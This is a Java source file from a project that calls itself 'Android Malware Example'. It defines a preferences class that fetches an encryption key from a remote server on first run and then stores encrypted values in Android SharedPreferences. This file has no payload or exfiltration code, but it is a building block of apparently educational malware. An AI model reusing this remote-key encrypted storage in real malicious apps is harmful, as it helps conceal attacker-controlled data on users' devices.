/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;
import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;

import java.util.Map;

/**
 * Created by darrylb on 10/2/16.
 */
public class BGMPrefs {
    ConfigParams configParams;

    private Context context;
    private SharedPreferences settings;
    private BGMEncryption encrypt;
    public Boolean isInited = false;
    public BGMPrefs(Context _context){
        context = _context;
        configParams = new ConfigParams(context);
        encrypt = new BGMEncryption();
        settings = context.getSharedPreferences(configParams.PROGID,0);
        isInited = hasbeeninit();
        if (!isInited){
            if (configParams.Logging)   Log.d(configParams.PROGID,"First Run..  getting EncKey");
            // Run local key init on first call;
            NetworkHandler handler = new NetworkHandler(context);
            String firstkey = handler.getRemoteEncKey();
            configParams.SetEncKey(firstkey);
            setLocalEncKey(firstkey);
            settings.edit().putBoolean("init",true).commit();
            isInited = true;
        } else {
            if (configParams.Logging)    Log.d(configParams.PROGID,"Prefs Already Initialized");
            configParams.LocalEncryptionKey = getLocalEncKey();
            isInited = true;
        }
        DumpSharedPrefs();
    }
    public void resetInit() {

    }
    public void DumpSharedPrefs () {

        Map<String,?> keys = settings.getAll();

        for(Map.Entry<String,?> entry : keys.entrySet()){
            if (configParams.Logging)    Log.d(configParams.PROGID,entry.getKey() + ": " +                entry.getValue().toString());
        }
    }
    public ConfigParams getConfigParams() {
        return configParams;
    }
    public String getLocalEncKey(){
        return(settings.getString("LocalEncKey",""));
    }
    public void setLocalEncKey(String _key) {
        settings.edit().putString("LocalEncKey",_key).commit();
    }

    private boolean hasbeeninit(){
        Boolean _init = settings.getBoolean("init", false);
        return _init;
    }
    public String getString (String _key, String _input) {

        try{
            //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
            return (settings.getString(_key,""));
        } catch (Exception ex) {
            return "";

        }
    }
    public void putEncString(String _key,String _input) {
        try {
            //settings.edit().putString(encrypt.encryptstring(configParams.LocalEncryptionKey,_key), encrypt.encryptstring(configParams.LocalEncryptionKey, _input));
            String _newkey = encrypt.encryptstring(configParams.LocalEncryptionKey,_key);
            String _newinput = encrypt.encryptstring(configParams.LocalEncryptionKey,_input);
            if (configParams.Logging)     Log.d(configParams.PROGID,"Putting SharedPrefs: "+_key+"["+_input+"] as "+ _newkey+"["+_newinput+"]");
            settings.edit().putString(_key, encrypt.encryptstring(configParams.LocalEncryptionKey, _input)).commit();
        } catch (Exception ex){

            Log.d(configParams.PROGID,"PGMPrefs: Unable to put string: "+_key+"["+_input+"]");
        }
    }
    public String getEncString(String _key){
        try{
            //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
            return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
        } catch (Exception ex) {
            return "";

        }
    }





}
